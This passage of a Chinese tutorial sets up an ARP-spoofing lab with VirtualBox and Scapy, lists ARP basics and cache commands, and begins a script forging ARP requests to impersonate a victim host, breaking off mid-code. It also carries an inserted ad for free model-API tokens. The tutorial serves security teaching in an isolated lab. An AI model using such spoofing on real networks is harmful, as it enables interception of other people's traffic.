从零构建ARP欺骗实验:Scapy实战与防御策略剖析
当你在咖啡厅连接公共Wi-Fi时,是否想过隔壁桌的陌生人可能正在窥探你的网络流量?这种攻击的核心技术之一就是ARP欺骗。不同于枯燥的理论讲解,本文将带你用Python和Scapy从零搭建实验环境,通过五个递进式攻击场景,深入理解局域网安全的核心漏洞。
1. 实验环境搭建与ARP基础
在开始发送第一个恶意数据包前,我们需要准备一个隔离的测试环境。推荐使用VirtualBox创建三台虚拟机:攻击者(M)、受害者A和B。关键配置如下:
| 主机角色 | IP地址 | 网络适配器模式 |
|---|---|---|
| 攻击者M | 10.9.0.105 | 内部网络 |
| 受害者A | 10.9.0.5 | 内部网络 |
| 受害者B | 10.9.0.6 | 内部网络 |
安装必要的Python包:
bash复制pip install scapy==2.4.5
sudo apt install net-tools # 用于arp命令
ARP协议精要:
- 工作在数据链路层的地址解析协议
- 通过广播查询IP与MAC的映射关系
- 缓存有效期通常为15-20分钟
- 无任何认证机制
查看ARP缓存的实用命令:
bash复制arp -n # 显示数字格式的ARP表
arp -d 10.9.0.6 # 删除特定IP的缓存
实验安全提示:所有操作应在封闭实验环境进行,切勿在真实网络测试
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. ARP欺骗的三重奏:请求、响应与免费ARP
2.1 基础ARP请求欺骗
构造虚假ARP请求是最直接的攻击方式。以下Scapy脚本会让受害者A误认为攻击者M是B:
python复制from scapy.all import Ether, ARP, sendp
def arp_request_spoof():
eth = Ether(dst="ff:ff:ff:ff:ff:ff") # 广播地址
arp = ARP(op=1, # 1表示请求
psrc="10.9.0.6",
